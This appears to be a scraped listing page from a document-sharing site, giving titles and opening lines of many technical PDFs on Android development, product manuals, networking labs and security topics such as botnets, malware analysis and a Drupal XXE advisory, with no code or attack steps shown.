Agenda. Taxonomy of Botnet Threats. Background. Summary. Background. Taxonomy. Trend Micro Inc. Presented by Tushar Ranka
Taxonomy of Botnet Threats Trend Micro Inc. Presented by Tushar Ranka Agenda Summary Background Taxonomy Attacking Behavior Command & Control Rallying Mechanisms Communication Protocols Evasion Techniques
Developer's Cookbook. Building Applications with. The Android. the Android SDK. A Addison-Wesley. James Steele Nelson To
The Android Developer's Cookbook Building Applications with the Android SDK James Steele Nelson To A Addison-Wesley Upper Saddle River, NJ Boston «Indianapolis San Francisco New York Toronto Montreal London
Building a Multi-Threaded Web Server
Building a Multi-Threaded Web Server In this lab we will develop a Web server in two steps. In the end, you will have built a multi-threaded Web server that is capable of processing multiple simultaneous
Appium mobile test automation
Appium mobile test automation for Google Android and Apple ios Last updated: 4 January 2016 Pepgo Limited, 71-75 Shelton Street, Covent Garden, London, WC2H 9JQ, United Kingdom Contents About this document...
Android Developer Fundamental 1
Android Developer Fundamental 1 I. Why Learn Android? Technology for life. Deep interaction with our daily life. Mobile, Simple & Practical. Biggest user base (see statistics) Open Source, Control & Flexibility
Pre-authentication XXE vulnerability in the Services Drupal module
Pre-authentication XXE vulnerability in the Services Drupal module Security advisory 24/04/2015 Renaud Dubourguais www.synacktiv.com 14 rue Mademoiselle 75015 Paris 1. Vulnerability description 1.1. The
Ciphermail Gateway PDF Encryption Setup Guide
CIPHERMAIL EMAIL ENCRYPTION Ciphermail Gateway PDF Encryption Setup Guide March 6, 2014, Rev: 5454 Copyright c 2008-2014, ciphermail.com. CONTENTS CONTENTS Contents 1 Introduction 4 2 Portal 4 3 PDF encryption
BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: 10.1.1. Security Note
BlackBerry Enterprise Service 10 Secure Work Space for ios and Android Version: 10.1.1 Security Note Published: 2013-06-21 SWD-20130621110651069 Contents 1 About this guide...4 2 What is BlackBerry Enterprise
Forensic Analysis of Internet Explorer Activity Files
Forensic Analysis of Internet Explorer Activity Files by Keith J. Jones [email protected] 3/19/03 Table of Contents 1. Introduction 4 2. The Index.dat File Header 6 3. The HASH Table 10 4. The
Managed File Transfer with Universal File Mover
Managed File Transfer with Universal File Mover Roger Lacroix [email protected] http://www.capitalware.com Universal File Mover Overview Universal File Mover (UFM) allows the user to combine
SNMP Test er Manual 2015 Paessler AG
SNMP Test er Manual 2015 Paessler AG All rights reserved. No parts of this work may be reproduced in any form or by any means graphic, electronic, or mechanical, including photocopying, recording, taping,
TruePort Windows 2000/Server 2003/XP User Guide Chapter
TruePort Windows 2000/Server 2003/XP User Guide Chapter 0 This document provides the procedure for installing and using TruePort on Windows 2000/Server 2003/XP. Table of Contents What is TruePort?...3
the cross platform mobile apps dream Click to edit Master title style Click to edit Master text styles Third level Fourth level» Fifth level
Click to edit Master title style Click to edit Master text styles The Second nightmare level behind Third level the cross platform Fourth level» Fifth level mobile apps dream Marco Grassi @marcograss [email protected]
HP AppPulse Mobile. Adding HP AppPulse Mobile to Your Android App
HP AppPulse Mobile Adding HP AppPulse Mobile to Your Android App Document Release Date: April 2015 How to Add HP AppPulse Mobile to Your Android App How to Add HP AppPulse Mobile to Your Android App For
Mobile security, forensics & malware analysis with Santoku Linux. * Copyright 2013 viaforensics, LLC. Proprietary Information.
Mobile security, forensics & malware analysis with Santoku Linux PRESENTER - ANDREW HOOG CEO/Co-founder of viaforensics Andrew is a published author, computer scientist, and mobile security & forensics
Grandstream Networks, Inc.
Grandstream Networks, Inc. Universal Phonebook Editor User Guide Universal Phonebook Editor User Guide Universal Phonebook Editor User Guide Index INTRODUCTION... 3 OVERVIEW OF FUNCTIONS AND UI... 4 BASIC
LATITUDE Patient Management System
LATITUDE PACEART INTEGRATION 1.01 GUIDE LATITUDE Patient Management System LATITUDE PACEART INTEGRATION SYSTEM DIAGRAM a. Patient environment b. LATITUDE environment c. Clinic environment d. Data retrieval
Storing Encrypted Plain Text Files Using Google Android
Storing Encrypted Plain Text Files Using Google Android Abstract Jared Hatfield University of Louisville Google Android is an open source operating system that is available on a wide variety of smart phones
Implementing and testing tftp
CSE123 Spring 2013 Term Project Implementing and testing tftp Project Description Checkpoint: May 10, 2013 Due: May 29, 2013 For this project you will program a client/server network application in C on
1 Intel Smart Connect Technology Installation Guide:
1 Intel Smart Connect Technology Installation Guide: 1.1 System Requirements The following are required on a system: System BIOS supporting and enabled for Intel Smart Connect Technology Microsoft* Windows*
U.S. Cellular Mobile Data Security. User Guide Version 00.01
U.S. Cellular Mobile Data Security User Guide Version 00.01 Table of Contents Install U.S. Cellular Mobile Data Security...3 Activate U.S. Cellular Mobile Data Security...3 Main Interface...3 Checkup...4
Development Techniques for Native/Hybrid Tizen Apps. Presented by Kirill Kruchinkin
Development Techniques for Native/Hybrid Tizen Apps Presented by Kirill Kruchinkin Agenda Introduction and Definitions Practices Case Studies 2 Introduction & Definitions 2 App Types Browser Apps Installable
WESTERNACHER OUTLOOK E-MAIL-MANAGER OPERATING MANUAL
TABLE OF CONTENTS 1 Summary 3 2 Software requirements 3 3 Installing the Outlook E-Mail Manager Client 3 3.1 Requirements 3 3.1.1 Installation for trial customers for cloud-based testing 3 3.1.2 Installing
PageR Enterprise Monitored Objects - AS/400-5
PageR Enterprise Monitored Objects - AS/400-5 The AS/400 server is widely used by organizations around the world. It is well known for its stability and around the clock availability. PageR can help users
Web Services for Management Perl Library VMware ESX Server 3.5, VMware ESX Server 3i version 3.5, and VMware VirtualCenter 2.5
Technical Note Web Services for Management Perl Library VMware ESX Server 3.5, VMware ESX Server 3i version 3.5, and VMware VirtualCenter 2.5 In the VMware Infrastructure (VI) Perl Toolkit 1.5, VMware
DiskPulse DISK CHANGE MONITOR
DiskPulse DISK CHANGE MONITOR User Manual Version 7.9 Oct 2015 www.diskpulse.com [email protected] 1 1 DiskPulse Overview...3 2 DiskPulse Product Versions...5 3 Using Desktop Product Version...6 3.1 Product
BIT COMMANDER. Serial RS232 / RS485 to Ethernet Converter
BIT COMMANDER Serial RS232 / RS485 to Ethernet Converter (Part US2000A) Copyrights U.S. Converters 1 Contents Overview and Features... 3 Functions..5 TCP Server Mode... 5 Httpd Client Mode.5 TCP Auto mode....6
Table of Contents. OpenDrive Drive 2. Installation 4 Standard Installation Unattended Installation
User Guide for OpenDrive Application v1.6.0.4 for MS Windows Platform 20150430 April 2015 Table of Contents Installation 4 Standard Installation Unattended Installation Installation (cont.) 5 Unattended
MONETA.Assistant API Reference
MONETA.Assistant API Reference Contents 2 Contents Abstract...3 Chapter 1: MONETA.Assistant Overview...4 Payment Processing Flow...4 Chapter 2: Quick Start... 6 Sandbox Overview... 6 Registering Demo Accounts...
Forensics II. Android reverse engineering Logs [repetition]
Forensics II Android reverse engineering Logs [repetition] Android reverse enginering tools dex2jar A group of tools to work with android.dex and java.class files in combination with for example Java Decompiler
StreamServe Persuasion SP4 Service Broker
StreamServe Persuasion SP4 Service Broker User Guide Rev A StreamServe Persuasion SP4 Service Broker User Guide Rev A 2001-2009 STREAMSERVE, INC. ALL RIGHTS RESERVED United States patent #7,127,520 No
Tizen Web Runtime Update. Ming Jin Samsung Electronics
Tizen Web Runtime Update Ming Jin Samsung Electronics Table of Contents Quick Overview of This Talk Background, Major Updates, Upcoming Features What Have Been Updated Installation/Update Flow, WebKit2,
Cloud Services MDM. ios User Guide
Cloud Services MDM ios User Guide 10/24/2014 CONTENTS Overview... 3 Supported Devices... 3 System Capabilities... 3 Enrollment and Activation... 4 Download the Agent... 4 Enroll Your Device Using the Agent...
Malware detection methods for fixed and mobile networks
Malware detection methods for fixed and mobile networks Gavin McWilliams January 2013 [email protected] Academic Centre of Excellence in Cyber Security Research Presentation Outline Malware detection
Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A [email protected]
Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A [email protected] A number of devices are running Linux due to its flexibility and open source nature. This has made Linux platform
Popular Android Exploits
20-CS-6053 Network Security Spring, 2016 An Introduction To Popular Android Exploits and what makes them possible April, 2016 Questions Can a benign service call a dangerous service without the user knowing?
CRYPTOGRAPHY 456 ANDROID SECURE FILE TRANSFER W/ SSL
CRYPTOGRAPHY 456 ANDROID SECURE FILE TRANSFER W/ SSL Daniel Collins Advisor: Dr. Wei Zhong Contents Create Key Stores and Certificates Multi-Threaded Android applications UI Handlers Creating client and
How to develop your own app
How to develop your own app It s important that everything on the hardware side and also on the software side of our Android-to-serial converter should be as simple as possible. We have the advantage that
Network Probe User Guide
Network Probe User Guide Network Probe User Guide Table of Contents 1. Introduction...1 2. Installation...2 Windows installation...2 Linux installation...3 Mac installation...4 License key...5 Deployment...5
AppConnect FAQ for MobileIron Technology Partners! AppConnect Overview
AppConnect FAQ for MobileIron Technology Partners! AppConnect Overview What is AppConnect? AppConnect is a MobileIron product that secures and protects enterprise mobile apps. It manages the complete lifecycle
Iotivity Programmer s Guide Soft Sensor Manager for Android
Iotivity Programmer s Guide Soft Sensor Manager for Android 1 CONTENTS 2 Introduction... 3 3 Terminology... 3 3.1 Physical Sensor Application... 3 3.2 Soft Sensor (= Logical Sensor, Virtual Sensor)...
WildFire Cloud File Analysis
WildFire Cloud File Analysis The following topics describe the different methods for sending files to the WildFire Cloud for analysis. Forward Files to the WildFire Cloud Verify Firewall File Forwarding
Hagenberg Linz Steyr Wels. API Application Programming Interface
Hagenberg Linz Steyr Wels API Application Programming Interface Version 1.1 October 2015 FH OÖ Forschungs & Entwicklungs GmbH Franz-Fritsch-Strasse 11 / Top 3 4600 Wels Austria Research Center Hagenberg
ENABLING RPC OVER HTTPS CONNECTIONS TO M-FILES SERVER
M-FILES CORPORATION ENABLING RPC OVER HTTPS CONNECTIONS TO M-FILES SERVER VERSION 2.3 DECEMBER 18, 2015 Page 1 of 15 CONTENTS 1. Version history... 3 2. Overview... 3 2.1. System Requirements... 3 3. Network
FTP Client Engine Library for Visual dbase. Programmer's Manual
FTP Client Engine Library for Visual dbase Programmer's Manual (FCE4DB) Version 3.3 May 6, 2014 This software is provided as-is. There are no warranties, expressed or implied. MarshallSoft Computing, Inc.
Operation Liberpy : Keyloggers and information theft in Latin America
Operation Liberpy : Keyloggers and information theft in Latin America Diego Pérez Magallanes Malware Analyst Pablo Ramos HEAD of LATAM Research Lab 7/7/2015 version 1.1 Contents Introduction... 3 Operation
Managing Software and Configurations
55 CHAPTER This chapter describes how to manage the ASASM software and configurations and includes the following sections: Saving the Running Configuration to a TFTP Server, page 55-1 Managing Files, page
VOIP-211RS/210RS/220RS/440S. SIP VoIP Router. User s Guide
VOIP-211RS/210RS/220RS/440S SIP VoIP Router User s Guide Trademarks Contents are subject to revise without prior notice. All trademarks belong to their respective owners. FCC Warning This equipment has
Radware Security Research. Reverse Engineering a Sophisticated DDoS Attack Bot. Author: Zeev Ravid
Reverse Engineering a Sophisticated DDoS Attack Bot Author: Zeev Ravid July 2015 Introduction In July 2015, Radware s Emergency Response Team (ERT) noticed a significant increased usage of the Tsunami
Adaptive Log Exporter Users Guide
IBM Security QRadar Version 7.1.0 (MR1) Note: Before using this information and the product that it supports, read the information in Notices and Trademarks on page page 119. Copyright IBM Corp. 2012,
